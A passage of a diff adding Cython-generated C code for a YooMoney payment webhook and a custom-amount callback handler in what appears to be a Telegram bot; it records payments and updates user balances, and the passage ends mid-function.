*__pyx_callargs[2] = {__pyx_t_5, __pyx_t_8}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 160, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/yoomoney_pay.py":161 + * amount = float(amount_str) + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await add_payment(user_id, amount, "yoomoney") # <<<<<<<<<<<<<< + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 161, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 161, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_5, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_8, __pyx_n_u_yoomoney_2}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 161, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L12_resume_from_await:; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_12); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 161, __pyx_L6_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 161, __pyx_L6_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":162 + * logger.debug(f"Payment succeeded for user_id: {user_id}, amount: {amount}") + * await add_payment(user_id, amount, "yoomoney") + * await update_balance(user_id, amount) # <<<<<<<<<<<<<< + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 162, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 162, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_5, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_8}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 162, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L13_resume_from_await:; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_12); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 162, __pyx_L6_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 162, __pyx_L6_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":163 + * await add_payment(user_id, amount, "yoomoney") + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) # <<<<<<<<<<<<<< + * except ValueError as e: + * logger.error(f" user_id amount: {e}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 163, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 163, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_5 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_5)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_5); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_5, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_8}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 163, __pyx_L6_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_t_10); + __pyx_cur_scope->__pyx_t_0 = __pyx_t_10; + __Pyx_XGIVEREF(__pyx_t_11); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_11; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_12; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L14_resume_from_await:; + __pyx_t_10 = __pyx_cur_scope->__pyx_t_0; + __pyx_cur_scope->__pyx_t_0 = 0; + __Pyx_XGOTREF(__pyx_t_10); + __pyx_t_11 = __pyx_cur_scope->__pyx_t_1; + __pyx_cur_scope->__pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_t_11); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; + __pyx_cur_scope->__pyx_t_2 = 0; + __Pyx_XGOTREF(__pyx_t_12); + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 163, __pyx_L6_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 163, __pyx_L6_error) + } + } + + /* "handlers/payments/yoomoney_pay.py":157 + * return web.Response(status=400) + * + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = float(amount_str) + */ + } + __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; + goto __pyx_L11_try_end; + __pyx_L6_error:; + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/yoomoney_pay.py":164 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + * return web.Response(status=400) + */ + __pyx_t_14 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); + if (__pyx_t_14) { + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.yoomoney_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_1, &__pyx_t_8) < 0) __PYX_ERR(0, 164, __pyx_L8_except_error) + __Pyx_XGOTREF(__pyx_t_2); + __Pyx_XGOTREF(__pyx_t_1); + __Pyx_XGOTREF(__pyx_t_8); + __Pyx_INCREF(__pyx_t_1); + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_e = __pyx_t_1; + /*try:*/ { + + /* "handlers/payments/yoomoney_pay.py":165 + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: + * logger.error(f" user_id amount: {e}") # <<<<<<<<<<<<<< + * return web.Response(status=400) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 165, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 165, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 165, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_16 = __Pyx_PyUnicode_Concat(__pyx_kp_u_user_id_amount, __pyx_t_3); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 165, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_15))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_15); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_15); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_15, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_16}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_15, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 165, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + } + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + + /* "handlers/payments/yoomoney_pay.py":166 + * except ValueError as e: + * logger.error(f" user_id amount: {e}") + * return web.Response(status=400) # <<<<<<<<<<<<<< + * + * return web.Response(status=200) + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 166, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Response); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 166, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_15); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 166, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_5); + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 166, __pyx_L20_error) + __pyx_t_16 = __Pyx_PyObject_Call(__pyx_t_15, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 166, __pyx_L20_error) + __Pyx_GOTREF(__pyx_t_16); + __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_16); + __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + goto __pyx_L19_return; + } + + /* "handlers/payments/yoomoney_pay.py":164 + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) + * except ValueError as e: # <<<<<<<<<<<<<< + * logger.error(f" user_id amount: {e}") + * return web.Response(status=400) + */ + /*finally:*/ { + __pyx_L20_error:; + /*exception exit:*/{ + __Pyx_PyThreadState_assign + __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; + __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; + __Pyx_XDECREF(__pyx_t_16); __pyx_t_16 = 0; + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_22, &__pyx_t_23, &__pyx_t_24); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21) < 0)) __Pyx_ErrFetch(&__pyx_t_19, &__pyx_t_20, &__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_24); + __pyx_t_14 = __pyx_lineno; __pyx_t_17 = __pyx_clineno; __pyx_t_18 = __pyx_filename; + { + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + } + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_ExceptionReset(__pyx_t_22, __pyx_t_23, __pyx_t_24); + } + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_ErrRestore(__pyx_t_19, __pyx_t_20, __pyx_t_21); + __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_t_21 = 0; __pyx_t_22 = 0; __pyx_t_23 = 0; __pyx_t_24 = 0; + __pyx_lineno = __pyx_t_14; __pyx_clineno = __pyx_t_17; __pyx_filename = __pyx_t_18; + goto __pyx_L8_except_error; + } + __pyx_L19_return: { + __Pyx_PyThreadState_assign + __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; + if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_21, &__pyx_t_20, &__pyx_t_19); + if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_24, &__pyx_t_23, &__pyx_t_22) < 0)) __Pyx_ErrFetch(&__pyx_t_24, &__pyx_t_23, &__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_24); + __Pyx_XGOTREF(__pyx_t_23); + __Pyx_XGOTREF(__pyx_t_22); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_19); + __pyx_t_25 = __pyx_r; + __pyx_r = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + __pyx_r = __pyx_t_25; + __pyx_t_25 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_ExceptionReset(__pyx_t_21, __pyx_t_20, __pyx_t_19); + } + __Pyx_XGIVEREF(__pyx_t_24); + __Pyx_XGIVEREF(__pyx_t_23); + __Pyx_XGIVEREF(__pyx_t_22); + __Pyx_ErrRestore(__pyx_t_24, __pyx_t_23, __pyx_t_22); + __pyx_t_24 = 0; __pyx_t_23 = 0; __pyx_t_22 = 0; __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; + goto __pyx_L9_except_return; + } + } + } + goto __pyx_L8_except_error; + + /* "handlers/payments/yoomoney_pay.py":157 + * return web.Response(status=400) + * + * try: # <<<<<<<<<<<<<< + * user_id = int(user_id_str) + * amount = float(amount_str) + */ + __pyx_L8_except_error:; + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_ExceptionReset(__pyx_t_10, __pyx_t_11, __pyx_t_12); + goto __pyx_L1_error; + __pyx_L9_except_return:; + __Pyx_XGIVEREF(__pyx_t_10); + __Pyx_XGIVEREF(__pyx_t_11); + __Pyx_XGIVEREF(__pyx_t_12); + __Pyx_ExceptionReset(__pyx_t_10, __pyx_t_11, __pyx_t_12); + goto __pyx_L0; + __pyx_L11_try_end:; + } + + /* "handlers/payments/yoomoney_pay.py":168 + * return web.Response(status=400) + * + * return web.Response(status=200) # <<<<<<<<<<<<<< + * + * + */ + __Pyx_XDECREF(__pyx_r); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_web); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 168, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 168, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 168, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 168, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 168, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_2); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + goto __pyx_L0; + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/yoomoney_pay.py":137 + * + * + * async def yoomoney_webhook(request: web.Request): # <<<<<<<<<<<<<< + * data = await request.post() + * logger.debug(f"Webhook event received: {data}") + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_15); + __Pyx_XDECREF(__pyx_t_16); + __Pyx_AddTraceback("yoomoney_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_12yoomoney_pay_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/yoomoney_pay.py":171 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yoomoney") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_10process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_12yoomoney_pay_10process_enter_custom_amount = {"process_enter_custom_amount", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_12yoomoney_pay_10process_enter_custom_amount, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_12yoomoney_pay_10process_enter_custom_amount(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_enter_custom_amount (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 171, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 171, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 171, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 171, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 171, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.yoomoney_pay.process_enter_custom_amount", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return 